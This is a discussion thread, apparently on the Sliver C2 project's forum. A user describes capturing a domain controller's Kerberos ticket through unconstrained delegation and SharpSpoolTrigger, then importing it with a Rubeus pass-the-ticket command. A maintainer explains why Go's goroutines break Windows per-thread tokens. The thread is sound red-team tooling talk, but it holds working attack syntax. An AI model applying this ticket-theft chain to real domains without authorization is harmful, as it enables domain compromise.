Best way to use cached tickets

[n3rada]

I'm sorry to open a discussion on this point, but I haven't been able to find a suitable solution.

I am running sliver with Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df on a Kali linux environment Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux.

Typical Scenario

You have a session / beacon on a server named WEB which has Unconstrained Delegation with the DC01. After running SharpSpoolTrigger and retrieving (with difficulties due to the way sliver works for Rubeus monitoring) the desired ticket, I tried to import it with :

rubeus --in-process ptt /ticket:doIFDDCCBQigAwIBBaEDAgEWooIEFDCCBBBhggQM<snip>VqnERgPMjAyNDA0MTQyMjM2NDlaqA4bDElORklOSVRZLkNPTakhMB+gAwIBAqEYMBYbBmtyYnRndBsMSU5GSU5JVFkuQ09N

Then, I can confirm that it is imported with:

sliver (BIG_ATHLETE) > c2tc-klist

[*] Successfully executed c2tc-klist (coff-loader)
[*] Got output:

Cached Tickets: (1)

#0>     Client: DC01$ @ TEST.COM
        Server: krbtgt/TEST.COM @ TEST.COM
        KerbTicket Encryption Type: (18) AES256_CTS_HMAC_SHA1_96
        Ticket Flags: 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 4/7/2024 15:36:52
        End Time:   4/8/2024 1:36:49
        Renew Time: 4/14/2024 15:36:49
        Session Key Type: (18) AES256_CTS_HMAC_SHA1_96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

But I couldn't run an psexec or sharpsecdump on the target. What am I missing?

[n3rada]

Given your experience, do you have an opinion on this @moloch--, @lesnuages?

[moloch--]

So the tricky part is that tokens in Windows are a "per thread" thing, but in Golang you don't have threads you only have goroutines, which get multiplexed across multiple native threads by the Go runtime, so there's no way to know what token you're going to get from Go since you don't have any control over which thread is used to run your code. So there's currently no good way to feed the extensions into the built-in psexec and related commands.

[n3rada]

Thanks for the technical answer, that's exactly what I asked for. 😊 So you, @moloch--, how do you handle this case in real life operations?